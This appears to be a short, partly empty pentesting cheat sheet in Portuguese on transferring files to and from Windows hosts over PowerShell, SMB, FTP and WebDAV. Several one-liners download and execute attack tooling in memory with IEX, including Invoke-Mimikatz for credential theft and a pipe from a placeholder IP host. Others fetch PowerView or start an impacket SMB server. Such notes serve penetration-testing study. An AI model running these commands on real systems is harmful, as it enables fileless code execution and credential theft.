Windows File Transfer Methods

Powershell

  • Download de um arquivo

(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
  • PowerShell DownloadString - Método sem arquivo

Em vez de baixar um script do PowerShell para o disco, podemos executá-lo diretamente na memória usando o cmdlet Invoke-Expressionarrow-up-right ou o alias IEX

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
  • PowerShell Invoke-WebRequest

Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
  • Ignorar erros comuns de download no IE

Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX
  • Outro erro nos downloads do PowerShell está relacionado ao canal seguro SSL/TLS se o certificado não for confiável. Podemos ignorar esse erro com o seguinte comando:

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

SMB Downloads

  • Create the SMB Server

sudo impacket-smbserver share -smb2support /tmp/smbshare
  • Copy a File from the SMB Server

  • Crie o servidor SMB com um nome de usuário e senha

  • Monte o servidor SMB com nome de usuário e senha


FTP Downloads

  • Instalando o módulo Python3 do servidor FTP - pyftpdlib

  • Configurando um servidor FTP Python3

  • Transferindo arquivos de um servidor FTP usando o PowerShell


PowerShell Web Uploads

  • Instalando um WebServer

  • Configurando o Upload

  • Script do PowerShell para carregar um arquivo no servidor de upload do Python

  • Carregamento da Web do PowerShell Base64

  • Capturamos os dados base64 com o Netcat e usamos o aplicativo base64 com a opção decode para converter a string no arquivo.


SMB Uploads

  • Instalando módulos Python do WebDav

  • Usando o módulo Python WebDav

  • Conectando-se ao Webdav Share

  • Carregando arquivos usando SMB


FTP Uploads

  • Arquivo de upload do PowerShell

Last updated